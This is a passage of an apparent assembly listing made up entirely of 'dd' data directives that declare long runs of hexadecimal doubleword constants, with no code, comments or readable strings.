7C3BA10Dh, 7602DC86h, 0F70228B4h, 0C508C1BBh dd 0CA52C9FFh, 0DA3230h, 0D2C4C2F2h, 9F7234C8h, 0A40A7605h dd 0D826C45h, 0DD98402Fh, 36D40002h, 0EA7E7206h, 0AE028121h dd 3AB31985h, 0A40DC146h, 18E5B8F7h, 82B4001Ah, 0C723B7B5h dd 73009905h, 282CA9A3h, 2CF05E58h, 105CAB2h, 0ECA85F3Ah dd 0C3940003h, 4C500FCDh, 0FF40807Eh, 0B0B43133h, 6BE8DE00h dd 1F9C9A67h, 7F4E1F1Ch, 33374AB2h, 0E9ED07D6h, 9B9FC11Eh dd 2EFF60CBh, 0E0389E09h, 9421010Ah, 7F314CC1h, 4093DAE7h dd 3AAE3C18h, 4D80E5DFh, 7860857Bh, 4F0C22E4h, 2762BA20h dd 9149016h, 3EEF1C82h, 0ABD1FD81h, 0DF62DCh, 91B723E5h dd 5D58BEC6h, 0B4062180h, 0F5686ECh, 5452E260h, 0F408D3D7h dd 5D2D26E1h, 8023B4B6h, 0F3BD2BB6h, 0BE751201h, 606B22FDh dd 37088C50h, 0C0C40041h, 7377F4F2h, 285DA5A7h, 0DBDF0045h dd 9093100Eh, 26F33EC2h, 0D8A7AB80h, 925D61DEh, 0F0013F8h dd 0A2C8453Fh, 0A86CAC12h, 4C35088Ch, 0B3003EC0h, 14A890B5h dd 742A6E3Eh, 0AC79A54Fh, 10E20807h, 0CD11861Ah, 0B924D807h dd 984018A6h, 0DA9C0C90h, 2F4B7409h, 87C10132h, 0B402FD1Fh dd 0FEBD8930h, 48AE0296h, 8A7376DCh, 1FBCB21h, 0C2F4E8h dd 0EDD5FAF0h, 0BE3BFD59h, 86E5550Eh, 3A1ACC0Eh, 6E9271h dd 0F35C183h, 11626D37h, 0C07DA100h, 59A6785Ch, 4C0E1EA2h dd 0CCF00279h, 9940CB55h, 0AF0F4383h, 0E0D2399Fh, 2C4DB64h dd 0A5700096h, 0A6460FA3h, 0E6E8B2D3h, 0F8208600h, 7CCB1B84h dd 0B88800BAh, 9B142ABEh, 0C1003340h, 625C2BB9h, 0EF553Dh dd 938D5D83h, 48421216h, 0D764DA00h, 351002CFh, 1774F7Eh dd 584E1FDFh, 0B09F8DBh, 0BE8A8E00h, 693B3FBCh, 0F2F60073h dd 0A7AA2725h, 3D7D0AFBh, 0EFBEC201h, 0A97478F5h, 50262AF0h dd 0AB9FF56h, 915C329h, 4C1F00E9h, 3821F4D7h, 486D6B05h dd 0FD85C594h, 0D2F2500Ch, 6592FDh, 2B51BD7Fh, 0DDE15E60h dd 0EB101200h, 0FF6D6737h, 46114841h, 99502B06h, 0C200BB1Ah dd 7A7EFBF1h, 0BD31AEACh, 0E21668D8h, 0D9000CDEh, 4DCAC895h dd 0AD1C1F4Ah, 616540E0h, 171B9892h, 0CD174C7Ch, 6F00F9C9h dd 0B666CC5Ch, 0CBAD208h, 4BA7ABFh, 0D8389804h, 0C390AA72h dd 6842CEh, 289B9A9Ch, 0E1F78BF1h, 0C87A3E30h, 30C62C8Ch dd 22484A16h, 7005CC60h, 4C1C42AEh, 10E54280h, 218718F3h dd 0B17327F1h, 0BD88C01h, 0AC22E80Dh, 6075A420h, 43D121A7h dd 56017B71h, 25A2086Eh, 0D7E86035h, 37530777h, 60C6ED3Dh dd 0A272881Ch, 2036666Fh, 5B2BDF04h, 4E3C1F61h, 1D50DAEEh dd 0A68E2E40h, 8160303Ch, 5115E5E9h, 84212408h, 2681E3F1h dd 0FCE010D2h, 51168086h, 55EC3F63h, 32BC1320h, 7906039Ch dd 0A3E81C26h, 3F30DD43h, 71393AC1h, 0FCD650Bh, 0ABBDC067h dd 72E805D5h, 910075B8h, 9EC3BD8Dh, 0F1F1DEAh, 5F8533FAh dd 8A729761h, 7D3DC4F6h, 8F00577Bh, 5B5525FBh, 3CFCBEFh dd 94C9058Bh, 9098B549h, 5901C5C3h, 2B9E7D35h, 3BC88ACFh dd 2EEDF872h, 1F95A8B2h, 1D21809Ch, 3F2D5250h, 0A379DF0Ch dd 0D5A072h, 0DEA97F13h, 57EBB7DCh, 4B189E00h, 0FCCCD04Dh dd 0E9DD0E02h, 21E78DF1h, 9E247071h, 6800D4CEh, 0E2767442h dd 0A0EDBDC1h, 0AD63ECh, 8B6F67ECh, 0AACFCD9Bh, 2A5CC20Bh dd 3E30E5Fh, 0C8817F4Ch, 98510A82h, 36370036h, 1953C61Ch dd 0E0FAC87h, 0F7FA7AAAh, 6B6FBA00h, 3C7CA19Bh, 800209DCh dd 0FC908A5Ah, 9CABED60h, 1917AB90h, 0C21D21F3h, 0BBB5F441h dd 5FE8591Bh, 3D99803h, 78E401D4h, 9BE0F512h, 0D50197B1h dd 322CFCB0h, 0B87477B5h, 0CC83776Fh, 4F0D253Ah, 928D52h dd 0C6BADFD9h, 66ECB0h dd 0F3AC2406h, 37A39D6Dh, 46441100h, 38073921h, 31193E3Eh dd 18807CBAh, 0B9B38349h, 24C0AC94h, 7BA0A26Dh, 992D2E93h dd 20D48930h, 67334780h, 94241AD3h, 442EE1C4h, 0E60C6C85h dd 0DF5EB80h, 0EC7D0E9Bh, 0AD8B65A7h, 0EEA65E80h, 0BF4F982Ch dd 0C601121Ch, 703F6587h, 0E0A7D340h, 600C9C0Fh, 0ABD0D29Dh dd 2E28F700h, 8A885509h, 0E4B10065h, 3B0DC1E6h, 6C032045h dd 0C5799EA0h, 0A7A84FF7h, 538B8EE0h, 0B5FEA2AEh, 1CF27DE2h dd 0D00E80D7h, 770E667Ah, 8172B45Eh, 1034C681h, 8B55E291h dd 796FF24h, 8CB85029h, 0DDD80109h, 89C16F30h, 58592917h dd 8BB8EAFCh, 0B135FE9h, 0EE1E7E9h, 5288C0BFh, 0F9D5DB8h dd 0C503062Ah, 20B7E067h, 0D8263382h, 0B1109E07h, 9C70AD5Ah dd 385C9230h, 0C008409h, 3463FD49h, 4D036115h, 0BF217929h dd 0B3780077h, 5269AC27h, 753DC86Bh, 0F73DBC19h, 61B13800h dd 0E549544Ch, 6D5F3F33h, 5B0164B8h, 0B47DC33Bh, 0F27F70DEh dd 1BEE2700h, 34715E91h, 0CDF003BCh, 65907D47h, 0FB26B6C8h dd 9C074900h, 0A84648AFh, 0DC1100DDh, 0BF5E2197h, 73006AF2h dd 770C4254h, 0EB6EDBh, 34C82266h, 0AFF1AE61h, 0AA291801h dd 5E84241h, 12E39950h, 806D04CCh, 0FFF88B66h, 6C398F05h dd 0E89761AEh, 730B8009h, 0A21847Ah, 0FD910175h, 0F59580Bh dd 16E02EBFh, 0A388EC11h, 38CE117h, 0FE620DB0h, 0DA04BF5Bh dd 8131614Eh, 4364F580h, 4B70FF02h, 3480B703h, 423130B8h dd 760AEBF4h, 5B7C2E17h, 35C4FD87h, 535EACF0h, 0D0D09552h dd 0B70F0A01h, 3E983C3h, 2F8007C9h, 30BE011Ch, 0DF049942h dd 60F98149h, 0F6602ABh, 0D6FEA185h, 0C331298h, 8474074Dh dd 218875EBh, 0D42A3617h, 23EF8A0h, 82E300AAh, 9B3BBE11h dd 0F5C30322h, 42666C36h, 3DC391C3h, 20BF82E0h, 1D83123Ah dd 3F000D3Bh, 0C291CB7Ah, 0A121CE40h, 6DA54883h, 0D9BB1101h dd 0E3BD4F7Dh, 930C3806h, 11C72101h, 7241141Bh, 1061A74Bh dd 0FB6E349Bh, 2209EFAh, 0B8E86D78h, 583867E2h, 0B4219025h dd 11DF3BBCh, 45E4832h, 6E024F9Dh, 80509439h, 0A68BA7BEh dd 66C48852h, 60591C0Fh, 3CC543E1h, 6C083AC7h, 3ABE3401h dd 8A49B476h, 0EC832320h, 57116818h, 493C60A6h, 0E27811E3h dd 4F6C880Fh, 83009D62h, 8EC77CC6h, 563B0817h, 833B5750h dd 6ADCF7C1h, 14ABE140h, 0DDEE21E0h, 0B04D1510h, 20323401h dd 0C42C10ACh, 5A0F3F9Dh, 0AF2FAA25h, 3E090023h, 74243821h dd 0C9F0F2Bh, 330E0854h, 17AB2C20h, 0A1743648h, 0A07C8301h dd 8B2B2E06h, 1BE5FE8h, 0A310292h, 0C42804A1h, 590006AFh dd 3414AE21h, 0F19BAA2Fh, 787C385Ch, 0E9307815h, 818C184Ah dd 99783208h, 26B02E60h, 7AC253Bh, 8BBE3628h, 8123F015h dd 0F0E8329h, 852E08AEh, 0B70E378Dh, 53F40B0h, 0C34F9B8Ah dd 8C1152D1h, 0A22E5EC1h, 8257F839h, 0D2A68304h, 0C01007E6h dd 3ADE0C66h, 7BB580C8h, 6E884075h, 0DBA7080Eh, 0A00FC2CDh dd 9864489Ah, 0D8C93118h, 0E0512518h, 8A13DF8h, 0CA882039h dd 0E2F1BD01h, 822B4264h, 3B2C80DAh, 9063CC76h, 0C815300h dd 77881434h, 305EF60Ch, 0BDC5CD06h, 0C458E31Ah, 5FD839A0h dd 0DFAA6646h, 26523E40h, 403FE8E6h, 34591061h, 7850C542h dd 0A13C2452h, 0FC0EDB58h, 0FE7E87C3h, 537C87E3h, 30ADB0E4h dd 9721E228h, 6471167h, 4A947EC6h, 8482C128h, 0F5FC8E62h dd 820C405Eh, 0EC49BC48h, 0E06C0EE4h, 88C32045h, 3A2BFF3Ch dd 64144314h, 0BF040CC0h, 9096674Ah, 41D915FCh, 0A4FAB09Ah dd 3FC55F1Dh, 0CF90E0Ah, 0BE8380Fh, 0C430224Bh, 645880D5h dd 53C116CEh, 68A764E4h, 853BFF89h, 8C50B9F0h, 148470BCh dd 0B880BDC9h, 5CD97B9Ch, 6ECDBF0Ah, 8F0D85F0h, 2BF832CAh dd 9BA615E0h, 0B0425C98h, 39224848h, 5A18B873h, 0C0C0666Eh dd 8C4CFB05h, 0E4358A97h, 98048026h, 7CC90862h, 811E9890h dd 7823C110h, 8C03918Bh, 0D182F021h, 0A65185C5h, 883317E7h dd 0E0E04C88h, 84146450h, 94849898h, 0F9D1810Ah, 5E82E0C4h dd 4463BD54h, 0AEF450Ch, 99623480h, 0EDDE0C63h, 0CE3A8C01h dd 467C11Eh, 4C6E3CF1h, 0E0D60F88h, 2C0A1C16h, 0BF42F42Ch dd 129493EDh, 425FFD40h, 8C22F560h, 44442846h, 6880AE3Ah dd 538C99C1h, 9901FBD2h, 0C3323A4h, 0E34702F8h, 81F90DC1h dd 22A8239Ah, 80B8574Ah, 6199C534h, 4758790Ch, 9C35A98Ch dd 887AA844h, 0B4846BA0h, 21A09F82h, 5B47608Dh, 4B49C392h dd 0D8022914h, 0AB4174ACh, 20AB3809h, 0DF86E250h, 0F844283Eh dd 804F44E4h, 81CFA8A6h, 79956C3Bh, 48D8A6C9h, 32F56439h dd 4CA46C58h, 0F12CCFFCh, 0EC1ADBBBh, 0F9DF4690h, 0C85DEC02h dd 9038E94h, 4E1C348Ah, 0EB950483h, 4CEC44E4h, 24C10B05h dd 198A3CCh, 9B1D265Ch, 708FCE70h, 10914E20h, 9C40F5D9h dd 4CC88914h, 4C11783Ch, 51E452FBh, 6CC13CE8h, 1ED63AEBh dd 3C1CD855h, 3D9B11DFh, 0F8A1E15Bh, 26F92700h, 3F0E1A76h dd 0E17F055Eh, 0C9941B83h, 3E8113F0h, 7C145930h, 511F149Bh dd 48240012h, 0C45BC6BEh, 221403Fh, 99C72001h, 28AC6C0Eh dd 22F09416h, 3E0F9FA6h, 0A1348855h, 8EE8F0FEh, 0A8435C21h dd 3C3F2CDh, 1EC39D5h, 901BDE98h, 44817030h, 0F014AF4Ch dd 0F1201352h, 8218ED2Eh, 3CFC9149h, 0A3D380D7h, 0C8B2A441h dd 26FA18h, 0A2D8463Ch, 0C7CF2A5Dh, 0F9165B05h, 0D028CD21h dd 0ECBD0C4Dh, 1D088B6h, 3D9C0C07h, 0A079AB1Ch, 69AABB3Ch dd 0A20E24C7h, 808A1D00h, 88426F27h, 0F0015335h, 6E92389Ah dd 1C3D634Bh, 4148AB18h, 4F001151h, 0E687A8D2h, 0A586A47h dd 3E7B8C4Dh, 38CB01EDh, 39C5D66Ch, 39144CD8h, 9C3FA45Fh dd 0CE3E5B80h, 0CC0FC119h, 4C81B978h, 367C21C1h, 3020DACEh dd 286940D8h, 76293D09h, 5C68828Dh, 0E2106046h, 4BC9281Fh dd 8B81EACh, 4E810CC2h, 2143F10h, 1FC129Bh, 4B1E5395h dd 0D18F8D69h, 6706F1FFh, 523C1189h, 24CA000Ch, 356B9916h dd 838E2ABEh, 629B00E0h, 143CFF1Bh, 0E7195C1Ah, 9A080203h dd 134D2180h, 6A0AE1FFh, 40B8F537h, 70EEB930h, 2AEA00C2h dd 7996001h, 1A000DC4h, 0C3FD627Fh, 4983A80h, 0F5CBD26Ch dd 357CC83Eh, 56C74305h, 80036BB0h, 0F83824BFh, 0C051C910h dd 6C3F25E0h, 81F915F8h, 0CBB12710h, 3BC89593h, 0D8C95492h dd 3C8B00BFh, 0D7B9152Ch, 6806356Eh, 48A564EAh, 5A210021h dd 0E00F6A79h, 6BF49327h, 0B43F9C0Fh, 0C5F9A11Dh, 60FACF7Eh dd 20F11524h, 8825E775h, 393C7001h, 4B096762h, 1811921Bh dd 37C1144h, 0B49DF0h, 66971285h, 4FD3984Ah, 85B4B958h dd 0E48802E8h, 664B0C7Fh, 22404357h, 0CC0D14A4h, 0F06C711Fh dd 837022D7h, 7CB2800h, 0CDC52C3Ah, 808B48CEh, 56C43328h dd 140EE489h, 12683DFFh, 8166C6h, 23FF0C4Ch, 0CA04D0CFh dd 340CEDF2h, 0D153B498h, 2CE0F5h, 26811552h, 0EEED6FF6h dd 1963B400h, 2B274645h, 0E5302A0h, 4116E88Eh, 71C21C80h dd 3490552Dh, 96B3140Eh, 5C428033h, 3311830Dh, 0FBE9E420h dd 629A91B7h, 1A3CC83Fh, 0F31884B4h, 2592121h, 7F49C383h dd 440BDF2h, 638266B5h, 0E5023D4h, 91445B1Eh, 0F2625762h dd 8353DA20h, 76EF0122h, 15FA4D9Dh, 40C9C9D1h, 2CA3A0F4h dd 0E8ABB80Bh, 0C5146803h dd 0A064922Bh, 122F8162h, 910DE830h, 4CC04854h, 0A28408F0h dd 1150175Ch, 9C0581F1h, 2830B5D9h, 694760AAh, 526D76B9h dd 95356802h, 0C8FDC174h, 40D9AB8h, 32BD668Eh, 3AC807Eh dd 5D7CDB1Dh, 4149AB30h, 3175B0h, 0F15E3377h, 298FC2E6h dd 90980878h, 0BD96EE38h, 0AA63011Ah, 9811A507h, 0EC085821h dd 95CC00F8h, 6EC76690h, 5494469Ch, 0AED5C902h, 6CF460E9h dd 43A528C0h, 0BCBE3CD0h, 25092A4h, 0C54F232Bh, 8169499h dd 3AA607F2h, 0F45C5A14h, 8C0F1F9Ch, 0E11D9291h, 53AAF380h dd 1CF124h, 0C0BAE707h, 6EC5CB5Dh, 0B4609D6Ah, 30061C24h dd 73B143ABh, 22A4095Fh, 0D084B4C5h, 27D4D53Eh, 0A4930070h dd 0F518C5B0h, 0DB488A12h, 0BEC22E91h, 1A4A89B0h, 0F90B9C90h dd 0B8E07128h, 45D903Ch, 12CC1B7Ah, 53348081h, 12E86160h dd 94BF4F73h, 0E14C074h, 11C0E921h, 0D150C488h, 0D5311C2Ch dd 0A395C0EFh, 0CF8C55D4h, 0D8C1F8A2h, 2E42692h, 1438FF1Fh dd 21EE333Ah, 0FF174900h, 23F74C6Fh, 0C4940BF3h, 8C2882EDh dd 4A6508C8h, 0A6542700h, 2C8EB0BAh, 16185D2Bh, 0D08014ADh dd 3C3D250Fh, 407B2E20h, 0C33091E2h, 5289C943h, 0F9050537h dd 0A620EDh, 0EE5CAA0Ch, 3E2815F0h, 0CA24C82Ch, 3D13406Dh dd 56C1EC01h, 0D806620Ch, 0E4506EFAh, 202A4308h, 4A008CEBh dd 6A64212h, 7DF51E6h, 0A7277A03h, 1CB95273h, 453180C0h dd 1A01880h, 0F20AE022h, 34841601h, 0D51805F8h, 3A88392Fh dd 5280A089h, 0F33500CFh, 10D917FBh, 0DCB87541h, 68A87610h dd 0C61E5200h, 0B985C2A6h, 1D429B03h, 0D36EFFC1h, 2AE90046h dd 1E3FABE6h, 9317363Bh, 4C04320Ch, 9109F7CDh, 41A64003h dd 2D313Dh, 32E0238Bh, 1C914697h, 0C4DCA35Dh, 0C27E20DEh dd 804B53FCh, 0A14DC5F1h, 3808839h, 6F729D32h, 0A8FA0071h dd 57BC4D5Ch, 0B626CB1Ah, 8C91F8D6h, 3EFF1980h, 448C2A14h dd 111C4F65h, 0B647A5FFh, 81FF3054h, 35F86286h, 0A6125838h dd 387C4072h, 63BE0C7Eh, 960D84B0h, 69886C4Bh, 14215060h dd 0A40B340Ah, 245D7010h, 3511C05Ah, 25A49680h, 1E878CC5h dd 0D3A4807Dh, 9A16CDCBh, 5408A180h, 907CF461h, 0A8535D88h dd 15CE3280h, 448C2FC1h, 2A097850h, 802E47CEh, 6C316E9Eh dd 68260FDCh, 98CE1DB6h, 0FECB2940h, 5CB22332h, 9014730Eh dd 0B5E15882h, 2A10075h, 7C6076C4h, 0E204CAD1h, 991E9319h dd 16B390D0h, 4B131EAEh, 78C2962h, 0D1051FF5h, 21D7E9C9h dd 0EC660Ch, 6E36F891h, 0C177FB08h, 0AEC5C4E0h, 1360328Fh dd 9020C24Fh, 6E590FE2h, 0EDA4286Eh, 8990C8ACh, 51ECD88h dd 0F17150FEh, 6050C098h, 0F2E9A87h, 57A89C91h, 1054AB48h dd 7059C411h, 0A9C83324h, 18677920h, 1C1E0E6Ah, 0F9A713D5h dd 0B1106090h, 0CC061AA2h, 8C53768Dh, 0F309051h, 153CEAFAh dd 3F928402h, 0C00D007Ah, 8865C876h, 688FDFCh, 0C5C11430h dd 9B48A8E5h, 21FE16B0h, 9672E0D0h, 0F5CE00BEh, 8BC4DEE6h dd 0C09CC8E0h, 5B4132C2h, 4F29050h, 4FFB5BC7h, 0C604BCA8h dd 0C07136BDh, 81E06E54h, 0C801DD4Eh, 0C35B3C0Fh, 5788942Dh dd 20E22021h, 0C57330DEh, 0B0916220h, 5A18F700h, 622390F2h dd 0EF0114Fh, 208352DBh, 0A2637AA7h, 0CBBA1E6Ch, 7468A5F8h dd 0AD007B4Ah, 28C5CE33h, 2ED9140Bh, 8704C85Dh, 5A6D17ECh dd 23E0280h, 0E0802A58h, 0D8EFE25Dh, 9B76070Fh, 0CBCE804Bh dd 603F974h, 0AC2465AFh, 0D30E7069h, 0C0DB2B3Dh, 1FC27E1Ch dd 515A6FB5h, 4EC46A8Fh, 795081BAh, 9C6035Fh, 0EF09148h dd 3CDD2882h, 0E727600Eh, 2E304FBh, 373D63C0h, 0E81BABh dd 3840500Fh, 0AAC70C21h, 0B9115CB4h, 53076377h, 0A419399Ah dd 16C00990h, 0D46E0405h, 0D15EB517h, 1098D758h, 0E4ECF1h dd 1FFA22C7h, 10E580BBh, 0C1992A00h, 850F8BD7h, 0F99E1F83h dd 1593808Dh, 0B9532BCh, 9400F1E8h, 0A284C50Ah, 71D1905h dd 0F5BA3877h, 808CC04Ah, 8201F98Fh, 0F7158BFAh, 43C29286h dd 0BB06F738h, 9411C328h, 88E0830Eh, 0FC1EB804h, 8700F98Dh dd 0F0F7058Fh, 0F8B7F0A3h, 0BF150F95h, 860798F5h, 81068080h dd 0CF1A97F1h, 35B81216h, 0AA00F704h, 0B00498E3h, 14CFFEFCh dd 188E8A8Ch, 17EB13B3h, 9CA71000h, 1CC13735h, 679200DBh dd 9E0E76AAh, 5460644Ch, 52AF9D18h, 2C3A3ECAh, 2EF92706h dd 0B70F4898h, 0E025F87Ch, 0FB13A1E7h, 44640029h, 14F94993h dd 0C17F9FB1h, 0EED53Dh, 169E2A09h, 62243Eh, 92B1E926h dd 451E0A12h, 4F945D05h, 3AAFEECh, 0B4830B7Bh, 0FC4416D8h dd 0B718CC60h, 0C1CE4A64h, 0B4611570h, 0B8404054h, 19639212h dd 0EE1103D9h, 0C6FAF008h, 0C07D52F9h, 7CA402E4h, 8892EB3Ah dd 0F0CCAE05h, 3C30E79Ch, 646C10F8h, 0C3DB18A3h, 0BF36681Ch dd 0E1806271h, 0EA948079h, 812FF8CCh, 9DF0C9Dh, 9C403F45h dd 83C53620h, 5550189Ch, 2B4A789Eh, 0B825D4A8h, 7E028CA5h dd 3C599CDFh, 56807E61h, 85EEA9E0h, 8C408188h, 0EA97AE99h dd 1A9F09EFh, 0C209B13h, 0F785262h, 0C03C2ECh, 11673374h dd 2E892829h, 489E6448h, 6A289CE2h, 605E6491h, 0FE3409DAh dd 55F82348h, 5D183Bh, 0F7DE1051h, 3BFAA2F8h, 82000A93h dd 80BE0E98h, 0FEFD0C8Bh, 0B05878CCh, 8C0B0E50h, 73E9CFCh dd 0A22E6E32h, 0B30E9740h, 0EC5405F5h, 304E181Bh, 0EBF68744h dd 17406F02h, 98439A82h, 7C370F04h, 0C4253B0h, 0E0780840h dd 8AFA7CB2h, 24767430h, 280853FBh, 886FF8E7h, 0A03E1419h dd 0EAE412E9h, 4CBACC49h, 8A6A410h, 892BEE44h, 33305B06h dd 0A5625956h, 89681028h, 0C4F813BCh, 0C4086764h, 107010E9h dd 3A26D6EAh, 943EDF9Ch, 850CC6EAh, 8C64F96Fh, 0DA765001h dd 28A1D6A5h, 91019DCh, 91B81711h, 441C2213h, 1F891E1Dh dd 19241812h, 1B911A48h, 0E544E422h, 12E789E6h, 4FE124E0h dd 313283E2h, 3575E8A7h, 6EEA29ADh, 0B89A19F4h, 29844B29h dd 9575041Dh, 422808CAh, 4DF200BCh, 2BBD16E6h, 2DF8A698h dd 107867F8h, 3BFE7200h, 8317E72Ah, 8DEDF54Dh, 95FD18F1h dd 9DE560D1h, 854020E3h, 3E3A6320h, 71011187h, 22A1BFEh dd 0C69BE010h, 0FED74894h, 55FF0487h, 88B3E592h, 0A1298200h dd 0AF377EE3h, 9592E28Bh, 49CC038h, 7A44E281h, 82170C5Bh dd 590958E0h, 418088Ah, 1677D55Fh, 3B07BAA9h, 1B50E022h dd 0A093C525h, 0A5EE0A10h, 56CA7038h, 59075EE2h, 0EDA49652h dd 2E85C3h, 1A417E18h, 142B1E95h, 2F9DE314h, 73623E1Ch dd 5DE6B302h, 91E54ADBh, 9C7A3728h, 0D31B3EE4h, 8B4168D6h dd 513100EDh, 0BE8BCA8Fh, 0E700344Eh, 7C0C1EBFh, 449DE639h dd 0B607AB2Ch, 4B0D4A8h, 1C2994C3h, 435E3519h, 0E48085F0h dd 5BC0D91Ch, 0C6A09A03h, 0BD91A0C2h, 8F523ABCh, 0BF0DED8Ch dd 64176028h, 58BC51B8h, 50F01A18h, 99C0E613h, 60C5FAD9h dd 0D8C0007Eh, 6399FEB1h, 320F8AA8h, 3E7352Dh, 0E8CAF445h dd 35AAB14h, 0C5D9493h, 1BD06190h, 8AF889FBh, 0B7FDFF03h dd 0E849BCD4h, 339FDCh, 3908EB0h, 32C8480Ch, 79EF1330h dd 0ECFA7134h, 0E7D45h, 1101BCC7h, 9039A42Eh, 40B8ED1Fh dd 1D804A06h, 92F2F1h, 5288C6C5h, 231081AEh, 517AAF30h dd 3EE24907h, 0E987BF9Bh, 907E26F4h, 0B769C1FCh, 0B1C50F0Fh dd 6339819Ah, 0B0E00E62h dd 3D1A1E53h, 0F90AC009h, 0D40C4992h, 14B69B29h, 11816F47h dd 5FC08FAh, 5DBE3E3Eh, 5274F900h, 0B09A39F5h, 69D11103h dd 0DBC308B4h, 0BCC5B8EFh, 90F9605Ah, 5FD51053h, 0B00F18DDh dd 0B73F83B5h, 0B6C7A159h, 4C2880B3h, 0BB65D2A0h, 6F0C0574h dd 78D5FC63h, 75F91810h, 62643058h, 0FC590A60h, 0A45998FBh dd 0EF092A0Ch, 1D480984h, 2B0069C3h, 0C5CBDD4h, 0B664C503h dd 708F811h, 47680929h, 0EA9363AAh, 2735EC0h, 0A3A949C0h dd 50DCFDD5h, 72CF1820h, 70DB036Ch, 16BE29EDh, 0B5DC1900h dd 507AB617h, 15023A2Ch, 569FE807h, 0EDEE4193h, 713BDC1Ch dd 0A31B77EAh, 0E85882DBh, 768139h, 974C18Bh, 46FD423h dd 0D8E1C9C7h, 98D952D3h, 184981C0h, 0A9C169E7h, 298025E0h dd 362774A6h, 9076A2F1h, 0E1E53032h, 0B1188F6Fh, 8296864h dd 0ED374320h, 93AC3101h, 81C6E744h, 15A32C41h, 0F62A22D2h dd 0C5EB3603h, 188F4048h, 8A493818h, 0B8F48633h, 36590CECh dd 9C3024B4h, 0BF791C63h, 313118CBh, 3F5A591Eh, 0C8EB2A28h dd 6C35BE24h, 3B400A9Ch, 75ED34BCh, 0D3D9188Bh, 68D4C0DEh dd 61511D60h, 18EB9095h, 79EE0F7Eh, 931B7728h, 9B30312Fh dd 0E8B90ACBh, 80FC9747h, 9E18ADA5h, 0A4A90F7Ch, 0D6F1820Bh dd 8832AF6Ch, 0B50778DCh, 0A256A55Bh, 65377630h, 45F51827h dd 10048A4Ch, 94118458h, 6F2C00D2h, 0EAF72FF3h, 0DD658827h dd 31BB1C31h, 88BEFC9Ch, 4CAC2514h, 8958682Ah, 5426FDE8h dd 3F54CAC1h, 89A4480Dh, 33B2E842h, 8CD82C18h, 10DFB8CFh dd 981133B2h, 6702880Bh, 0C5CEB8F9h, 281C251Ch, 22AC423Eh dd 0A482184h, 859AB5F8h, 7023423Bh, 859D8D50h, 0B8881E10h dd 889121D4h, 0A0220C44h, 0D75D0835h, 0E8086F51h, 1C40FF9h dd 846428F6h, 0F8091021h, 488CFC9Dh, 0AC895030h, 1F686C90h dd 2660468Ah, 1C34C43Dh, 204092C3h, 30C09D60h, 4061E36Dh dd 246F8441h, 73107D10h, 3F0ED91Ah, 0AF0C1158h, 0F1207C30h dd 91745203h, 0F8701662h, 100B06C6h, 2129A232h, 948C6889h dd 85D099D0h, 0A725E06h, 13504374h, 0A0BC21BFh, 0D0318CE9h dd 8AD440B3h, 0A59F90C0h, 3629A0A4h, 0F0A998FEh, 286849B0h dd 0B21DE4Ch, 0DC84C91Dh, 38FC8C1Ch, 20E2F541h, 0DFBFB050h dd 4810F960h, 7E71AB3h, 14C59678h, 9A308077h, 4009408h dd 35B9B6C3h, 1B56F9Bh, 596BC10Bh, 0D14A2628h, 52D4600Ch dd 92C32A00h, 6BC5105Eh, 0F5F43EAEh, 0D2074E03h, 0D0A15279h dd 0E70C70B7h, 0FAC081Fh, 804F960Bh, 2A539F1Ch, 0E89958CFh dd 0B697FB0Bh, 40406488h, 0B79ED40Fh, 4F1F1578h, 0BC0728EFh dd 308AF953h, 0ABB986Ch, 0B86BD511h, 4F90401Ch, 0F580C213h dd 0B6BD17E5h, 0B42405F8h, 24602425h, 46F94h, 4E6BD411h dd 3A59D513h, 670AD299h, 0CB18F558h, 853D800h, 400799F8h dd 587712BBh, 2CAAD507h, 0C306B4C1h, 1505C440h, 1520F853h dd 38AB76EAh, 4C80F48Fh, 0BCE120F5h, 0C716B51Dh, 0D114A415h dd 0AB09C040h, 5C4D3820h, 6201D4ACh, 0BDEA114Eh, 0B6F8405Ah dd 25FA0D59h, 3D5A94A5h, 0AA07C04h, 2C004379h, 3194729Bh dd 9208F2h, 4799EA05h, 0BA6BD20Ah, 4D133498h, 5D0753h dd 284CD50Ch, 58341226h, 0FE984021h, 0B89D65F9h, 5974EA04h dd 40C3D010h, 402BC20Ah, 269A03A8h, 6F2005A4h, 0C22041FDh dd 21FAB792h, 2621E5ECh, 0C61A7174h, 8909A38h, 0FE570460h dd 0BA85A03h, 98B5B6F8h, 0FD5F4406h, 93D59064h, 4FF61240h dd 0D4018858h, 0D00C5EB7h, 24268F76h, 0A07D0FAh, 17807CC3h dd 7153B1C7h, 0C09B4CD5h, 0B7650600h, 4628D20Bh, 6AD3163Ah dd 0D1008C10h, 0BA74C7F7h, 16F84E13h, 637E07C8h, 58354016h dd 0A090D6D5h, 653F1418h, 0C1B0D210h, 5AB7C060h, 6358800Ah dd 8F6BFB10h, 683E3CF8h, 0BDCFD50Ch, 0C8DEC708h, 0B70EC11Eh dd 16309812h, 69937406h, 308FA113h, 0F9075F80h, 8145975h dd 909876FBh, 4AADFA04h, 58BE0FF8h, 0B0280B0Ch, 3C9F38D4h dd 75AC0940h, 80D36760h, 0C3224F9Ch, 0FC582809h, 4EB83AD4h dd 0CEFA1218h, 3FF00074h, 0F912889Ah, 118F6412h, 0D4B5E801h dd 0BE367C4h, 1D5CBD90h, 0A0887C05h, 70A4D94h, 60F6B3C7h dd 505F0423h, 0F2CB85Ah, 0E381C4C5h, 0F8104DB6h, 0E436DC21h dd 2648281Eh, 0C063650Ch, 4C98D300h, 6B58D2F8h, 6FC43AA0h dd 16998F28h, 6107C422h, 98B4E08h, 0C42A1658h, 5059E6E4h dd 5C09959h, 0D213DA0Ah, 0F92320C0h, 6F10989Bh, 0BD8F69C3h dd 45FA1507h, 1120C859h, 482C4BFBh, 6088263Ch, 0D85C990Dh dd 0C0033420h, 0C5D55A58h, 42EBBBDh, 7016CD3h, 26DA0B38h dd 5020184Dh, 38844D65h, 41EF9AFh, 0AB4D80AFh, 0B69DEAD2h dd 0D0D34084h, 0F5435360h, 3A059285h, 0C8A72518h, 5CD02C6Ch dd 6843206Bh, 52077ABCh, 63643E2Ah, 0B5D802EBh, 1064E824h dd 4C6B15FAh, 345B180Ch, 65041F8h, 0D033BF48h, 75D5954h dd 3E0F7320h, 840FB4B0h, 44F04774h, 3B3FFE48h, 53CFB6BEh dd 0E8D4CC3Ch, 640F2974h, 60D012B2h, 0B3F8165Ah, 5C70B853h dd 3F058C7Eh, 0C0114968h, 0DF24AE90h, 641B2E8h, 18D15060h dd 2010B7B0h, 0D20E0D52h, 9E1A4F92h, 0A412B5CBh, 0C8B60F80h dd 9899F50Dh, 9A49D468h, 6FF80B14h, 34D42980h, 